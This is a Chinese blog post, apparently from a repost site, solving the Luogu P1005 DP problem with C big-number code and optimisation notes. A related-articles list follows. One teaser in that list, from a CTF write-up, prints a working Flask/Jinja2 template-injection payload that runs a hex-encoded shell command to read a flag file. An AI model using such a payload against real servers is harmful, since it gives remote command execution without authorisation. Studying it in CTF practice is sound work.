P1005 [NOIP2007 提高组] 矩阵取数游戏

网址:P1005 [NOIP2007 提高组] 矩阵取数游戏 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)

动态规划和高精度的组合,使我的滨州旋转

最后只得了80,两个测试点超时了

看题解有人是用了int128来做的,明天学一下

我的递归思路和常规的不同,但也能做就是了,明天参考一下他们的

垃圾代码如下:

#include<stdio.h>
#include<string.h>
#define MAXN 30
void multiply_constant(int a[], int b);
void add_constant(int a[], int b);
void add_array(int a[], int b[]);
int digcmp(int a[], int b[]);
int diglen(int a[]);
int dp[81][81][MAXN], num[81], result[MAXN];
int n, m;//result的长度int main(void)
{scanf("%d%d", &n, &m);for(int i = 0; i < n; i++){memset(dp, 0, sizeof(dp));for(int j = 1; j <= m; j++)scanf("%d", &num[j]);for(int j = 1; j <= m; j++){add_constant(dp[0][j], num[m + 1 - j]), add_constant(dp[j][0], num[j]);for(int k = 0; k < j; k++)multiply_constant(dp[0][j], 2), multiply_constant(dp[j][0], 2);add_array(dp[0][j], dp[0][j - 1]), add_array(dp[j][0], dp[j - 1][0]);}//处理一直从左边取和一直从右边取的情况for(int j = 2; j <= m; j++)//j代表取了多少数{for(int x = 1; x < j; x++){int y = j - x;int tmp1[MAXN] = {0}, tmp2[MAXN] = {0};add_constant(tmp1, num[x]), add_constant(tmp2, num[m + 1 - y]);for(int k = 0; k < j; k++)multiply_constant(tmp1, 2), multiply_constant(tmp2, 2);add_array(tmp1, dp[x - 1][y]), add_array(tmp2, dp[x][y - 1]);if(digcmp(tmp1, tmp2) >= 0)memcpy(dp[x][y], tmp1, sizeof(tmp1));elsememcpy(dp[x][y], tmp2, sizeof(tmp2));}//dp[x][y] = max{dp[x - 1][y] + num[x] * 2 ^ j, dp[x][y - 1] + num[m + 1 - y] * 2 ^ j}//x代表左边取了多少数,y代表右边取了多少数}//得到取完的数中的最大的数int tmp[MAXN] = {0};for(int x = 0; x <= m; x++){int y = m - x;if(digcmp(tmp, dp[x][y]) < 0)memcpy(tmp, dp[x][y], sizeof(dp[x][y]));}//result加上最大的数add_array(result, tmp);}//输出resultfor(int i = diglen(result) - 1; i >= 0; i--)printf("%d", result[i]);return 0;
}
void multiply_constant(int a[], int b)
{int ext = 0, i;for(i = 0; i < diglen(a); i++){ext += b * a[i];a[i] = ext % 10;ext /= 10;}while(ext){a[i++] = ext % 10;ext /= 10;}return;
}
void add_constant(int a[], int b)
{int ext = 0, i = 0;while(b){ext += a[i] + b % 10;a[i++] = ext % 10;ext /= 10, b /= 10;}return;
}
void add_array(int a[], int b[])
{int ext = 0;for(int i = 0; i < MAXN; i++){ext += a[i] + b[i];a[i] = ext % 10;ext /= 10;}return;
}//m加到n上
int digcmp(int a[], int b[])
{for(int i = MAXN - 1; i >= 0; i--)if(a[i] != b[i])return a[i] - b[i];return 0;
}//n更大时返回整数
int diglen(int a[])
{int i;for(i = MAXN; i >= 0; i--)if(a[i])  break;if(i < 0) return 1;return i + 1;
}//得到n数组的长度

累了累了,洗洗睡

题解就先不写了

补充:

先试了一下之前讲过的提高高精度效率的方法,对比我下面的代码就可以看出来,很明显的变化

代码如下:

#include<stdio.h>
#include<string.h>
#define MAXN 25
void multiply_constant(int a[], int b);
void add_constant(int a[], int b);
void add_array(int a[], int b[]);
int digcmp(int a[], int b[]);
int diglen(int a[]);
int dp[81][81][MAXN], num[81], result[MAXN];
int n, m;//result的长度int main(void)
{scanf("%d%d", &n, &m);for(int i = 0; i < n; i++){memset(dp, 0, sizeof(dp));for(int j = 1; j <= m; j++)scanf("%d", &num[j]);for(int j = 1; j <= m; j++){add_constant(dp[0][j], num[m + 1 - j]), add_constant(dp[j][0], num[j]);for(int k = 0; k < j; k++)multiply_constant(dp[0][j], 2) , multiply_constant(dp[j][0], 2);add_array(dp[0][j], dp[0][j - 1]), add_array(dp[j][0], dp[j - 1][0]);}//处理一直从左边取和一直从右边取的情况for(int j = 2; j <= m; j++)//j代表取了多少数{for(int x = 1; x < j; x++){int y = j - x;int tmp1[MAXN] = {0}, tmp2[MAXN] = {0};add_constant(tmp1, num[x]), add_constant(tmp2, num[m + 1 - y]);for(int k = 0; k < j; k++)multiply_constant(tmp1, 2), multiply_constant(tmp2, 2);add_array(tmp1, dp[x - 1][y]), add_array(tmp2, dp[x][y - 1]);if(digcmp(tmp1, tmp2) >= 0)memcpy(dp[x][y], tmp1, sizeof(tmp1));elsememcpy(dp[x][y], tmp2, sizeof(tmp2));}//dp[x][y] = max{dp[x - 1][y] + num[x] * 2 ^ j, dp[x][y - 1] + num[m + 1 - y] * 2 ^ j}//x代表左边取了多少数,y代表右边取了多少数}//得到取完的数中的最大的数int tmp[MAXN] = {0};for(int x = 0; x <= m; x++){int y = m - x;if(digcmp(tmp, dp[x][y]) < 0)memcpy(tmp, dp[x][y], sizeof(dp[x][y]));}//result加上最大的数add_array(result, tmp);}//输出resultfor(int i = diglen(result) - 1, first = 1; i >= 0; i--)if(first){printf("%d", result[i]);  first = 0;}elseprintf("%09d", result[i]);return 0;
}
void multiply_constant(int a[], int b)
{int ext = 0, i;for(i = 0; i < diglen(a); i++){ext += b * a[i];a[i] = ext % 1000000000;ext /= 1000000000;}while(ext){a[i++] = ext % 1000000000;ext /= 1000000000;}return;
}
void add_constant(int a[], int b)
{int ext = 0, i = 0;while(b){ext += a[i] + b % 1000000000;a[i++] = ext % 1000000000;ext /= 1000000000, b /= 1000000000;}return;
}
void add_array(int a[], int b[])
{int ext = 0;for(int i = 0; i < MAXN; i++){ext += a[i] + b[i];a[i] = ext % 1000000000;ext /= 1000000000;}return;
}//m加到n上
int digcmp(int a[], int b[])
{for(int i = MAXN - 1; i >= 0; i--)if(a[i] != b[i])return a[i] - b[i];return 0;
}//n更大时返回整数
int diglen(int a[])
{int i;for(i = MAXN - 1; i >= 0; i--)if(a[i])  break;if(i < 0) return 1;return i + 1;
}//得到n数组的长度

这样得了90分,最后一个测评点就超了一点时

只要把long long换成int,然后改一下一格储存的数据上限就可以拿到满分了

这是最简单的高精度优化方式

还有一个优化方式,就是不要一次一次地乘2,在不会溢出的情况下,改成一次乘2^n,然后满足需要求的数,如要乘2^80次方,可以先乘2^20次方,然后乘下去

但是要注意,因为我已经尽量地利用int储存的空间了,所以可以乘的2^n的n是相对较小的,两个方法算是鱼和熊掌不可兼得

然后是其他的dp方法:

一般的是区间dp法:即当剩余数的区间在[ai, aj]的时候的最大值

还有另一个方法:先从中间开始取,每dp一次就将数加上新的数乘2,这样计算会比较简单(在用到高精度数组的情况下)

最后是int128的实现:我会专门写一篇博客来讲

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/214660.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MongoDB的分片

本文主要介绍MongoDB的分片。 目录 MongoDB的分片组成分片过程操作步骤注意事项 MongoDB的分片 MongoDB的分片是一种横向扩展数据库的方式&#xff0c;可以将数据分散存储在多台服务器上&#xff0c;从而提高数据库的处理能力和可用性。 组成 MongoDB的分片由三个组成部分组…

Ansible中执行流控制

1.ansible中的迭代循环 创建目录和文件 vim createfile.yaml - name: create file playbook hosts: all tasks: - name: create file file: path: "/mnt/{{item[name]}}" state: …

scala变量与变量类型

1.6 变量与类型&#xff08;重点&#xff09;1.6.1 变量推断1.6.2 多变量定义1.6.3 var和val的区别 1.6.3.1 是否可变 1.6.3.2 延迟加载 1.6 变量与类型&#xff08;重点&#xff09; val修饰的变量&#xff0c;相当于Java中final修饰的变量; // 定义常量s1&#xff0c;使用…

GPIO的使用--USART串口通信--传感器控制数据

目录 一、串口通信 1、概念 2、原理图 3、使用步骤 &#xff08;1&#xff09;寻找串口位置 &#xff08;2&#xff09;确定引脚编号 &#xff08;3&#xff09;编写代码 4、实验结果 实验代码 main.c usart.c usart.h 一、串口通信 1、概念 串行接口是一种可以将…

GPT-4 变懒了?官方回复

你是否注意到&#xff0c;最近使用 ChatGPT 的时候&#xff0c;当你向它提出一些问题&#xff0c;却得到的回应似乎变得简短而敷衍了&#xff1f;对于这一现象&#xff0c;ChatGPT 官方给出了回应。 译文&#xff1a;我们听到了你们所有关于 GPT4 变得更懒的反馈&#xff01;我…

玩转大数据10:深度学习与神经网络在大数据中的应用

目录 1. 引言&#xff1a;深度学习和神经网络在大数据中的重要性和应用场景 2. 深度学习的基本概念和架构 3. Java中的深度学习框架 3.1. Deeplearning4j框架介绍及Java编程模型 3.2. DL4J、Keras和TensorFlow的集成 4. 大数据与深度学习的结合 4.1. 大数据与深度学…

Redis探秘:AOF日志与数据持久性之旅

第1章&#xff1a;引言 大家好&#xff0c;我是小黑&#xff0c;咱们今天来聊聊Redis。你知道吗&#xff0c;Redis作为一个超高效的内存数据库&#xff0c;真的是超级给力。它可以秒速处理数据&#xff0c;让咱们的应用运行得飞快。但是&#xff0c;小黑得告诉你&#xff0c;虽…

Linux进程地址空间

Linux进程地址空间 一.语言上的内存分区1.内存分区的理论说明2.内存分区的代码验证3.一个"奇怪"的现象 二.进程地址空间1.现象解释2.什么是进程地址空间3.页表的权限属性与重新理解写时拷贝4 .为什么要有进程地址空间和页表5.用进程地址空间解释一些问题1.为何进程之…

android 13.0 去掉recovery模式UI操作页面的菜单选项

1.概述 在13.0进行系统rom定制化开发中,在进行一些定制化开发中,会根据需要在进入recovery模式的时候,去掉recovery模式的一些菜单选项, Reboot to bootloader,Enter rescue等菜单项,经过分析得知, 就是在device.cpp去掉一些菜单选项就可以了,接下来就来分析实现相关功…

从Centos-7升级到Centos-Stream-8

如果在正式环境升级&#xff0c;请做好数据备份以及重要配置备份&#xff01;因为升级会造一部分应用被卸载。 注意&#xff1a;升级前请备份好数据&#xff0c;升级可能会导致ssh的root用户无法登陆、网卡名称发生改变、引导丢失无法开机等问题。 1.安装epel源 yum -y install…

Redis生产实战-Redis集群故障探测以及降级方案设计

Redis 集群故障探测 在生产环境中&#xff0c;如果 Redis 集群崩溃了&#xff0c;那么会导致大量的请求打到数据库中&#xff0c;会导致整个系统都崩溃&#xff0c;所以系统需要可以识别缓存故障&#xff0c;限流保护数据库&#xff0c;并且启动接口的降级机制 降级方案设计 …

【EI征稿中|ACM出版】2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023)

2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023&#xff09; 2023 International Conference on Artificial Intelligence, Systems and Network Security 由西南科技大学计算机科学与技术学院主办的2023人工智能、系统与网络安全国际学术会议 (AISNS 2023&#xff…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

【已解决】解决UbuntuKali无法进行SSH远程连接

目录 Ubuntu20.04配置SSH远程连接Kali Linux配置SSH远程连接 Ubuntu20.04配置SSH远程连接 首先更新安装包 sudo apt-get update 下载SSH服务 sudo apt install openssh-server 查看SSH服务 service ssh status 打开 /etc/ssh/sshd_config文件修改配置文件 将PermitRootLog…

秋招春招,我没有拿到一个offer怎么办?

无论是秋招&#xff0c;还是春招&#xff0c;对于应届毕业生来说&#xff0c;都是最佳的拿offer的时机&#xff0c;当然错过了也不是绝境&#xff0c;机会无处不在&#xff0c;只是说校招是最好的机会。希望朋友们重视起来&#xff0c;积极的争取到满意的工作岗位。 从竞争的角…

MyBatis 常见面试题

目录 1.MyBatis——概述1.1.什么是 ORM 框架&#xff1f;1.2.✨谈谈对 MyBatis 的理解。1.3.使用 MyBatis 相对于直接使用 SQL 有哪些优点&#xff1f;1.4.MyBatis 有什么优缺点&#xff1f;1.5.✨MyBatis 的分层结构是什么样的&#xff1f;1.6.✨MyBatis 的执行流程是什么样的…

【Spring教程22】Spring框架实战:Spring事务角色与 Spring事务属性、事务传播行为代码示例详解

目录 1.Spring事务角色1.1 未开启Spring事务之前:1.2 开启Spring的事务管理后2 Spring事务属性2.1 事务配置2.2 转账业务追加日志案例2.2.1 需求分析2.2.2 环境准备 2.3 事务传播行为2.3.1.修改logService改变事务的传播行为2.3.2 事务传播行为的可选值 欢迎大家回到《 Java教…

vs2017+qt5.14.2遇到的问题

1、在安装qt插件后&#xff0c;导入pro文件时&#xff0c;报 msvc-version.conf loaded but QMAKE_MSC_VER isn’t set 修改E:\Qt\Qt5.14.2\5.14.2\msvc2017_64\mkspecs\common\msvc-version.conf文件中添加

Leetcode1466. 重新规划路线

Every day a Leetcode 题目来源&#xff1a;1466. 重新规划路线 解法1&#xff1a;深度优先搜索 n 座城市&#xff0c;从 0 到 n-1 编号&#xff0c;其间共有 n-1 条路线。 因此&#xff0c;要想在两座不同城市之间旅行只有唯一一条路线可供选择&#xff08;路线网形成一颗…

学会这些可以升职加薪!EXCEL基础函数入门【一】

俗话说得好&#xff0c;Excel用得好&#xff0c;工资涨得高。什么值得买生活家追梦小仙女介绍一些Excel的常用函数吧~ 正文&#xff1a; 今天呢&#xff0c;刚好心血来潮&#xff0c;就EXCEL常用 的函数功能做一些介绍&#xff0c;学excel需要举一反三&#xff0c;楼主从事的…